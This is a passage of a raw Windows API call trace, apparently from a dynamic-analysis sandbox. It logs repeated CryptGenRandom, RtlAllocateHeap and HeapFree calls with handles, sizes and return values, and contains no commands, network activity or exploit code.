(HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0143.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0143.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0143.470] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d354 | out: pbBuffer=0x366d354) returned 1 [0143.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0143.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0143.470] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0143.476] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afd4 | out: pbBuffer=0x366afd4) returned 1 [0143.476] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0143.476] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0143.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0143.548] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae6c | out: pbBuffer=0x366ae6c) returned 1 [0143.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0143.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0143.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0143.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac10 [0143.551] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aee4 | out: pbBuffer=0x366aee4) returned 1 [0143.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0143.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0143.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0143.554] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afac | out: pbBuffer=0x366afac) returned 1 [0143.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0143.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0143.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0143.611] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af34 | out: pbBuffer=0x366af34) returned 1 [0143.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0143.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0143.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0143.619] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad54 | out: pbBuffer=0x366ad54) returned 1 [0143.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0143.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0143.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0143.622] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae94 | out: pbBuffer=0x366ae94) returned 1 [0143.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0143.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0143.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0143.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaaa8 [0143.731] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ada4 | out: pbBuffer=0x366ada4) returned 1 [0143.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0143.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0143.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0143.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0143.735] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad7c | out: pbBuffer=0x366ad7c) returned 1 [0143.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0143.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0143.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0143.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac60 [0143.807] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac14 | out: pbBuffer=0x366ac14) returned 1 [0143.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0143.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0143.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0143.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0143.914] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acdc | out: pbBuffer=0x366acdc) returned 1 [0143.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0143.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0143.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0143.918] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acb4 | out: pbBuffer=0x366acb4) returned 1 [0143.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0143.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0143.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0143.923] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a354 | out: pbBuffer=0x366a354) returned 1 [0143.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0143.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0143.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0143.926] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a28c | out: pbBuffer=0x366a28c) returned 1 [0143.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0143.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0143.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0143.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0143.929] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a1c4 | out: pbBuffer=0x366a1c4) returned 1 [0143.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0143.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0143.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0144.106] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b4e4 | out: pbBuffer=0x366b4e4) returned 1 [0144.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0144.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0144.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0144.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0144.111] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b55c | out: pbBuffer=0x366b55c) returned 1 [0144.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0144.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0144.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0144.333] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a5c | out: pbBuffer=0x3668a5c) returned 1 [0144.338] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cb4 | out: pbBuffer=0x3668cb4) returned 1 [0144.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0144.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0144.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0144.342] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688cc | out: pbBuffer=0x36688cc) returned 1 [0144.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0144.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0144.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0144.556] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e94 | out: pbBuffer=0x3668e94) returned 1 [0144.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0144.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0144.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0144.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead50 [0144.811] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668944 | out: pbBuffer=0x3668944) returned 1 [0144.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0144.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0144.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0144.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead50 [0144.829] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f5c | out: pbBuffer=0x3668f5c) returned 1 [0144.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0144.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0144.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0144.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae18 [0144.841] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a0c | out: pbBuffer=0x3668a0c) returned 1 [0144.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0144.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0144.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0144.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eada0 [0144.862] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668674 | out: pbBuffer=0x3668674) returned 1 [0144.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0144.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0144.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0144.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae18 [0144.878] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366837c | out: pbBuffer=0x366837c) returned 1 [0144.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0144.897] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366882c | out: pbBuffer=0x366882c) returned 1 [0144.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0144.906] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668854 | out: pbBuffer=0x3668854) returned 1 [0144.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0144.915] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366873c | out: pbBuffer=0x366873c) returned 1 [0144.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0144.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0144.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0144.922] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668764 | out: pbBuffer=0x3668764) returned 1 [0144.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0144.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0144.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0144.932] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0144.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0144.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0144.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0144.942] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36682dc | out: pbBuffer=0x36682dc) returned 1 [0144.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0144.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0144.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0144.952] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366869c | out: pbBuffer=0x366869c) returned 1 [0144.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0144.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0144.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0144.962] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366814c | out: pbBuffer=0x366814c) returned 1 [0144.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0144.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0144.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0144.971] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0144.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0144.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0144.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0145.006] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c14 | out: pbBuffer=0x3668c14) returned 1 [0145.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0145.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0145.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0145.091] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668354 | out: pbBuffer=0x3668354) returned 1 [0145.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0145.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0145.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0145.101] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0145.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0145.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0145.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0145.112] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36687b4 | out: pbBuffer=0x36687b4) returned 1 [0145.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0145.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0145.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0145.156] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668dcc | out: pbBuffer=0x3668dcc) returned 1 [0145.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0145.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0145.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0145.174] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668aac | out: pbBuffer=0x3668aac) returned 1 [0145.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0145.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0145.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0145.213] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685fc | out: pbBuffer=0x36685fc) returned 1 [0145.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0145.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0145.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0145.234] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668afc | out: pbBuffer=0x3668afc) returned 1 [0145.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0145.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0145.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0145.247] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0145.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0145.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0145.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0145.256] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bc4 | out: pbBuffer=0x3668bc4) returned 1 [0145.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0145.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0145.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0145.296] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680fc | out: pbBuffer=0x36680fc) returned 1 [0145.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0145.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0145.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0145.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a83f0 [0145.308] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668494 | out: pbBuffer=0x3668494) returned 1 [0145.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0145.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0145.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0145.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a83f0 [0145.320] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668d2c | out: pbBuffer=0x3668d2c) returned 1 [0145.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0145.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0145.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0145.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8260 [0145.361] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668534 | out: pbBuffer=0x3668534) returned 1 [0145.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0145.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0145.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0145.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a83f0 [0145.408] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680d4 | out: pbBuffer=0x36680d4) returned 1 [0145.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0145.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0145.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0145.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a83f0 [0145.422] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366891c | out: pbBuffer=0x366891c) returned 1 [0145.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0145.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0145.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0145.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8260 [0145.436] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366832c | out: pbBuffer=0x366832c) returned 1 [0145.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0145.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0145.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0145.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8260 [0145.479] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366823c | out: pbBuffer=0x366823c) returned 1 [0145.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0145.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0145.479] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0145.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a83f0 [0145.560] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366478c | out: pbBuffer=0x366478c) returned 1 [0145.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0145.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0145.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0145.561] 